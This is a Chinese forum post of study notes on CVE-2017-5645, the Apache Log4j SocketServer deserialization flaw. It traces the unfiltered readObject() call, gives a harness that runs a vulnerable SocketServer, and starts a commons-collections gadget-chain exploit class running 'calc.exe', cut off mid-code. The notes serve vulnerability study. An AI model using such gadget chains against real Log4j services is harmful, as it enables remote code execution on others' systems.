-
-
[原创]CVE-2017-5645漏洞学习笔记
-
发表于: 2020-1-19 21:41 9190
-
最近一段时间呢,因为工作原因需要挖掘几套系统漏洞,这些系统有一些Java代码。所以挖掘的漏洞过程中除了文件下载,上传这种逻辑漏洞外,知道一些Java的语言本身的漏洞也是一种突破口。刚好最近看到Apache Log4j 反序列化分析—【CVE-2017-5645】,就像以此为引子,学一学反序列化漏洞,由于之前对Java和其反序列化和序列化的知识一无所知,可能理解上幼稚和偏差,请大佬们轻拍。
第一:下载好有漏洞的源码: log4j-1.2.17.zip,打开代码,搜索关键词readObject,一顿拍查寻找后
发现这里:
发现是在这个SocketNode类中的run()方法中存在引用readObject()方法,并且没有进行过滤。
要模拟这个漏洞的代码,构造这个漏洞的POC,就在源码中搜索对这个类的引用,发现隔壁的SocketServer类中,就存在对其的引用:
开启了一个新线程,引用了SocketNode类。.start()开启线程,会执行里面的run()函数
第二:构造简单的POC代码
import org.apache.log4j.net.SocketServer;
public class Target {
public static void main(String[] args)throws Exception{
String[] arguments = {"4440", "C:\\Users\\ashu\\WorkSpace2\\Target\\srclog4j.properties","C:\\Users\\ashu\\WorkSpace2\\Target\\src"};
SocketServer.main(arguments);
System.out.println("INFO: Log4j output successfuly.");
}
}
SocketServer第一个参数是监听端口,第二个参数是配置文件srclog4j.properties,第三个参数是配置文件的路径,基本上网上抄的,对本实验没影响。
Java反序列化漏洞利用程序上比较固定,依我浅薄的理解,就是如果漏洞类的readObject方法被重写,或者没有过滤产生的。可以利用Java的反射机制,把你要实现的函数,写成字节的形式,利用工具类构造成对象然后字节序列化(这一步已经有很多大牛写好的代码,基本拿来用就行了),然后让存在漏洞代码反序列化,执行我们写入事先写入的函数。
由于我的虚拟机环境是Java8,于是选择commons-collections-3.1.jar里面的LazyMap类作为工具类,构造一段代码
import java.io.BufferedInputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class attack {
public static void run() throws Exception {
deserialize(serialize(getObject()));
}
public static Object getObject() throws Exception {
String command="calc.exe";
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课